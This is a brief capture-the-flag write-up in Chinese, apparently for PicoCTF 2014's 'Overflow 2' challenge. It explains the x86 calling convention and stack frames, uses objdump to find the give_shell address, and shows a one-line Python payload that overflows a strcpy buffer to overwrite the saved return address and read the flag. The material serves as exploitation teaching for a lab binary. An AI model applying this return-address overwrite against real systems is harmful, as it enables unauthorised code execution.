x86的calling convention
- push參數到stack上(reverse order)
- push RET位址(目前%eip)
- jump到function位址
- push old frame pointer(%ebp)
- 把frame pointer(%ebp)設成目前stack指到的位置(%esp)
- push local變數
- reset prev stack frame:%esp = %ebp, %ebp = (%ebp)
- jump回RET位址:%eip = 4(%esp)
![image](/rctzeng/PicoCTF_2014/raw/master/Binary_Exploitation/Overflow_2/buf_gen1.png)
- 使用gdb或objdump找到give_shell位址
$ objdump -d overflow2 | grep give_shell
080484ad <give_shell>:
- 了解目前stack長相
- 用objdump 看assembly code
$ objdump -d bufferoverflow2
...
<vuln>
push %ebp
...
pushl %0x8(%ebp) ; arument of strcpy
...
push %eax; argument of strcpy
call <strcpy@plt>
...
ret
...
<main>:
push %eax ; ret addr
call 80484e2 <vuln>
...
<ret addr>
<old %ebp>
<strcpy arg>
<strcpy arg>
<buf ...
16 bytes>
$ ./overflow2 $(python -c 'print "A"*16 + "A"*3*4 + "\xad\x84\x04\x08"')
$ ls
flag.txt Makefile overflow2 overflow2.c
$ cat flag.txt
controlling_%eip_feels_great